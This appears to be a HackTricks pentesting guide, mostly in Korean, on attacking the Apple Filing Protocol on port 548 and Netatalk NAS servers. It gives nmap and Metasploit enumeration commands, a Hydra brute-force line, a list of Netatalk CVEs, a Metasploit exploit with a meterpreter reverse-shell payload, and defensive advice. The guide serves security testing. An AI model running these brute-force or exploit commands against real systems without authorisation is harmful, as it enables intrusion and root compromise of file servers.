548 - Pentesting Apple 파일링 프로토콜 (AFP)

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

The Apple Filing Protocol (AFP), once known as AppleTalk Filing Protocol, is a specialized network protocol included within Apple File Service (AFS). It is designed to provide file services for macOS and the classic Mac OS. AFP stands out for supporting Unicode file names, POSIX-style and ACL permissions, resource forks, named extended attributes and sophisticated file-locking mechanisms.

Although AFP has been superseded by SMB in modern macOS releases (SMB is the default since OS X 10.9), it is still encountered in:

  • 레거시 macOS / Mac OS 9 환경
  • 오픈 소스 Netatalk 데몬을 포함하는 NAS 장비(QNAP, Synology, Western Digital, TrueNAS…)
  • Time-Machine-over-AFP가 여전히 활성화된 혼합 OS 네트워크

기본 TCP 포트: 548 (AFP over TCP / DSI)

PORT     STATE SERVICE
548/tcp  open  afp

열거

간단한 배너 / 서버 정보

# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>

유용한 AFP NSE 스크립트:

스크립트설명
afp-ls사용 가능한 AFP 볼륨 및 파일 나열
afp-bruteAFP 로그인에 대한 암호 무차별 대입
afp-serverinfo서버 이름, 머신 타입, AFP 버전, 지원 UAMs 등 덤프
afp-showmount공유와 해당 ACL 함께 나열
afp-path-vuln디렉토리 트래버설 탐지(및 악용 가능), CVE-2010-0533

더 많은 제어가 필요한 경우 NSE 무차별 대입 스크립트는 Hydra/Medusa와 결합할 수 있습니다:

hydra -L users.txt -P passwords.txt afp://<IP>

이미 credentials가 있다면, Nmap’s AFP scripts become much more usefulafp-serverinfo leaks the advertised UAMs (auth methods), 반면 afp-showmountafp-ls는 reachable shares, ACLs 및 interesting files를 enumerate할 수 있습니다:

nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>
  • Machine Type: Netatalkafp-serverinfo 출력에 나타나며, 일반적으로 Apple의 자체 AFP 구현이 아닌 NAS/Unix 호스트를 의미합니다.
  • UAMs(DHX, DHX2, Cleartxt, Guest 등)는 접근 가능한 로그인 경로와 레거시/약한 인증이 활성화되어 있는지를 직접적으로 알려줍니다.
  • afp-showmountShare ACLs; world-readable(전 세계 읽기 가능) 또는 드롭박스 스타일의 공유는 볼륨을 마운트하기 전에 종종 백업, .appl 파일 및 사용자 메타데이터를 노출합니다.

Interacting with shares

macOS

# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

리눅스 (afpfs-ng ‑ 대부분의 배포판에 패키지됨)

apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

마운트한 후, classic Mac resource-forks는 숨겨진 ._* AppleDouble 파일로 저장된다는 점을 기억하라 – 이들은 종종 DFIR 도구가 놓치는 흥미로운 메타데이터를 담고 있다.

Netatalk 대상에서는 이 메타데이터 백엔드가 익스플로잇 가능성에도 영향을 준다:

  • ea = ad는 메타데이터가 AppleDouble v2 파일 / .AppleDouble 디렉터리에 저장된다는 것을 의미한다.
  • ea = sys 또는 ea = samba는 메타데이터를 대신 파일시스템의 extended attributes에 저장한다.
  • **Netatalk 4.2+**에서는 기존 appledouble 옵션이 제거되었고 백엔드는 오직 ea 옵션으로만 제어된다.

공격 관점에서 보면, 이는 서버에서 AppleDouble-oriented bugs가 도달 가능한지 여부를 빠르게 판단하게 해준다.


일반적인 취약점 및 익스플로잇

Netatalk unauthenticated RCE chain (2022)

여러 NAS 벤더가 Netatalk ≤3.1.12를 탑재했다. parse_entries()의 경계 검사 부족으로 공격자가 악의적인 AppleDouble 헤더를 조작해 인증 전에 remote root를 획득할 수 있다 (CVSS 9.8 – CVE-2022-23121). Western-Digital PR4100를 악용한 PoC와 함께 NCC Group의 전체 분석 문서가 있다.

Metasploit (>= 6.3)은 페이로드를 DSI WRITE로 전달하는 모듈 exploit/linux/netatalk/parse_entries를 포함한다.

use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

If the target runs an affected QNAP/Synology firmware, successful exploitation yields a shell as root.

Netatalk OpenSession heap overflow (2018)

Older Netatalk (3.0.0 - 3.1.11) is vulnerable to an out-of-bounds write in the DSI OpenSession handler allowing unauthenticated code execution (CVE-2018-1160). A detailed analysis and PoC were published by Tenable Research.

Newer Netatalk attack surface (2022-2024)

최근 Netatalk 보안 권고는 공격 표면이 더 이상 parse_entries()와 OpenSession 처리에만 국한되지 않음을 보여줍니다:

  • CVE-2022-45188: 특수하게 조작된 .appl 파일이 afp_getappl에서 heap overflow를 유발할 수 있습니다; 특히 공유에 파일을 쓸 수 있고 서버가 FCE / notify 기능을 실행 중인 경우에 관련성이 큽니다.
  • CVE-2023-42464: Spotlight RPC 핸들러의 type confusion 버그는 afp.conf에서 spotlight = yes가 활성화된 경우 접근 가능해질 수 있습니다(기본값은 비활성화).
  • CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: 로그인 관련 경로에서의 1바이트 heap out-of-bounds write가 Netatalk 2.4.1 / 3.1.19 / 3.2.1에서 수정되었습니다. 이 버그들은 구성된 UAMs에 따라 익스플로잇 가능성이 달라진다는 점에서 흥미롭습니다:
    • uams_clrtxt.so + PAM 기반 ClearTxt 로그인은 CVE-2024-38439와 관련된 FPLoginExt 경로를 노출합니다.
    • uams_dhx.so + PAM 기반 DHX 로그인은 CVE-2024-38440의 취약 경로에 도달합니다.
    • uams_guest.soGuest 로그인 경로를 유지하여 CVE-2024-38441에 영향을 줍니다.

이는 afp-serverinfo 출력이 단순한 지문 정보가 아니라, 익스플로잇 개발이나 NAS 펌웨어 트리아지에 시간을 투자하기 전에 어떤 login parser가 노출되어 있는지 판단하는 데 도움이 된다는 뜻입니다.

Other notable issues

  • CVE-2022-22995 – AppleDouble v2가 활성화된 경우 symlink redirection으로 임의 파일 쓰기 / RCE를 유발 (3.1.0 - 3.1.17).
  • CVE-2010-0533 – Apple Mac OS X 10.6 AFP의 directory traversal (감지: afp-path-vuln.nse).
  • Multiple memory-safety bugs were fixed again during the 2024 Netatalk releases; if you identify Netatalk in afp-serverinfo, spend a minute correlating the exposed UAMs / Spotlight / metadata backend with the server version before assuming only the 2018/2022 bugs matter.

방어 권장 사항

  1. AFP를 비활성화하세요(엄격히 필요하지 않은 한) – 대신 SMB3 또는 NFS 사용을 권장합니다.
  2. AFP를 유지해야 한다면, Netatalk을 ≥ 3.1.18 또는 4.x로 업그레이드하거나 2022/2023/2024 패치를 백포트한 공급업체 펌웨어를 적용하세요.
  3. 강력한 UAMs(예: DHX2)을 적용하고 clear-text 및 guest 로그인을 비활성화하세요.
  4. TCP 548은 신뢰할 수 있는 서브넷으로 제한하고, 원격으로 노출될 경우 AFP를 VPN 내부에 위치시키세요.
  5. CI/CD에서 주기적으로 nmap -p 548 --script afp-*로 스캔하여 악성/다운그레이드된 어플라이언스를 탐지하세요.

Brute-Force

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기